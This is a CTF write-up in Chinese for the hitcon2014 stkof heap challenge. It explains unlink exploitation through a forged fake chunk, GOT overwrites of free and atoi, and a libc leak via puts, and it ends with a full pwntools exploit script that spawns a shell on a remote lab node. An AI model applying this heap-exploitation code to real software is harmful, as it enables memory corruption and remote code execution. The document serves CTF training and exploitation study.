BUU-hitcon2014_stkof-WP

Posted on Dec 23, 2020

这是一道堆上unlink的题,客观的来讲,堆我还是屁都不会,花了两天时间终于是理解了这道题目,感觉学CTF的过程体验很不好,每次看题解冥思苦想终于理解后,获得的从来不是快感,而是对自己之前不能理解的愤懑和对自己智商的怀疑。

简单地改下名,可见程序的整体架构如上,实现了内存分配(存储一段字符串),读入和释放空间这三个功能,nouse()这个函数就是单纯的没什么用处。

比较关键是的这个read_in()函数,它向存储在content_ptr_array的这个数组中的指针开始的地址读入不限个数个字符(这也代表堆是可以溢出的),也就是说,只要我们能够修改content_ptr_array中存的指针,就可以实现任意地址写。程序没有开启reload,又有了任意地址写,我们也可以泄露任意地址内存,从而使用ret2libc那一套。所以现在的难点就是对content_ptr_array的修改。

这个数组是一个在.bss段的全局数组,在mem_alloc函数中进行维护,程序没有pie,其虚拟地址已知,所以我们可以考虑用unlink方法。

unlink在64位下可以实现地址p开始的8个字节修改为一个指向p-0x18的指针,32位下则是p开始的4个字节修改为指向p-0xC。即

  • 32位:*p=p-0xC
  • 64位:*p=p-0x18

unlink的具体实现方法我放在最后讲,现在先理清本题的实现思路,到此其实本题已经可以实现了。

  1. 通过unlink使content_ptr_array[2]=&content_ptr_array[2]-0x18
  2. 通过read_in函数对第二组数据(*(conten_ptr_array[2]))进行编辑实现覆写content_ptr_array
    1. 向content_ptr_array[0]中写入&(free@got)
    2. 向content_ptr_array[1]中写入&(puts@got)
    3. 向content_ptr_array[2]中写入&(atoi@got)
  3. 再一次编辑,向*(conten_ptr_array[0])中写入puts@plt,实现覆写free@got
  4. 然后freecontent_ptr_array[1],通过puts泄露puts@got的值,获得libc基地址(buu的libc之前找过很多次了,每个靶机都是一样的,我也就不重复查找了,别的环境在这一步多次泄露不同的函数的got,用libc-database也可以轻易获得)然后就可以获得system@plt和"/bin/sh"的地址
  5. 再一次编辑,向*(conten_ptr_array[2])中写入system@plt,实现覆写atio@got为system@plt
  6. 输入"/bin/sh"的地址成功拿shell

一个要注意的细节,本程序没有预先setbuf,会在输入输出的时候都进行一次setbuf,这个时候会改变chunk的结构(这个原理我还不算了解,以后再补),所以我们先申请一个较大的chunk来避免setbuf对后续产生影响,所以总共会申请三个chunk

所以只剩下unlink的方法了。这个时候你会发现unlink其实是很简单的,不过是实现利用的工具。以下是unlink在最新的开发版中的实现,其实都大同小异

unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }
}

对于unlink前的检查,我们都可以通过伪造chunk的方法绕过。

if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

以上的检查是大小检查,chunk的前后有两个地方存储了该chunk的大小,也就是这个chunk数据段前的size和借用下一个物理相邻的chunk的prev_size的size,这个检查会将这两个值相比。这个可以容易地通过伪造绕过,只要在填充地数据段末尾写上去就行了。

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

以上的检查是链表完整性检查,被free的chunk会被存到一个双链表里面,所以将前一节点的后继指针和后一节点的前驱节点指针与当前节点地址比较。这是主要限制我们利用的一个检查,在本题中,第三个chunk中的bk指针指向第二个chunk,同样的在content_ptr_array[2]中也有一个指针指向第二个chunk,所以我们伪造一个chunk就可以绕过这个chunk了,具体的方法是在第二个chunk的数据段伪造一个chunk,伪造出的结构如下

previous size of second chunk
0x40(size of second chunk)
data segment of second chunk start:0x00(previous size of this fake chunk)
0x20(size of this fake chunk)
&content_ptr_array[0] + 16 - 0x18
&content_ptr_array[0] + 16 - 0x10
0x20(previus size of this fake chunk's next physically adjacent chunk)
then this chunk can pass the first check
..fill the data segment of second chunk
0x30(size of previous chunk)->make the fake chunk "physically adjacent"
so that the fake chunk can be unlinked
0x90(size of third chunk)
  • (fd=&content_ptr_array[0] + 16 - 0x18).bk == content_ptr_array[2] == &second_chunk
  • (bk=&content_ptr_array[0] + 16 - 0x10).fd == content_ptr_array[2] == &second_chunk

这样就通过了第二个检查

黑色部分就是我们需要填充的部分,利用堆溢出实现了伪造,使该chunk可被unlink,在unlink时,做的工作是

fd->bk = bk;
//<=>content_ptr_array[2] = &content_ptr_array[2] - 0x10
bk->fd = fd;//<=>content_ptr_array[2] = &content_ptr_array[2] - 0x18

这样最后content_ptr_array[2]中的指针指向了content_ptr_array[-1],于是我们对第二个字符串进行修改的时候就可以修改content_ptr_array这个数组了。

于是我们就解决了这个问题。

基本照抄Wiki的exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
content_ptr_array = 0x602140
elf = ELF("./stkof")
#sh = process("./stkof")
sh = remote("node3.buuoj.cn","25532")
#sh = process(['./stkof'],env = {"LD_PRELOAD":"./buu-libc-2.23.so"})
libc = ELF("./buu-libc-2.23.so")

def mem_alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil("OK\n")

def free(index):
    sh.sendline('3')
    sh.sendline(str(index))

def edit(index,lenth,payload):
    sh.sendline('2')
    sh.sendline(str(index))
    sh.sendline(str(lenth))
    sh.send(payload)
    sh.recvuntil("OK\n")

mem_alloc(0x100)    #index:1 setbuf
mem_alloc(0x30)     #index:2
mem_alloc(0x80)     #index:3

payload = p64(0) #prevsize  = 0
payload += p64(0x20) #size = 0x20,P=0,prevchunk not in use
payload += p64(content_ptr_array + 16 - 0x18)
payload += p64(content_ptr_array + 16 - 0x10)
payload += p64(0x20) #size = 0x20,next_chunk's prevsize

payload = payload.ljust(0x30,'a') #fullfill the chunk#2

payload += p64(0x30) #-=0x30,make fake_chunk "physically" adjacent so that fake_chunk can be unlinked
payload += p64(0x90) #make the fake_chunk not in use

edit(2,len(payload),payload)
free(3)
sh.recvuntil("OK\n")

payload = p64(0) + p64(elf.got["free"]) + p64(elf.got["puts"]) + p64(elf.got["atoi"])
edit(2,len(payload),payload)

payload = p64(elf.plt["puts"])
edit(0,len(payload),payload)

free(1)
puts_addr = u64(sh.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = next(libc.search("/bin/sh"))

payload = p64(system_addr)
edit(2,len(payload),payload)
sh.send(p64(bin_sh_addr))
sh.interactive()

总结:

  • 使用unlink的前提:
    • UAF,或者可以伪造一个需要的chunk(比如能够堆溢出的时候)
    • 存在一个地址已知的,指向UAF chunk的指针
  • unlink的效果:*p=p-3*sizeof(size_t)(sizeof(size_t)即机器字长)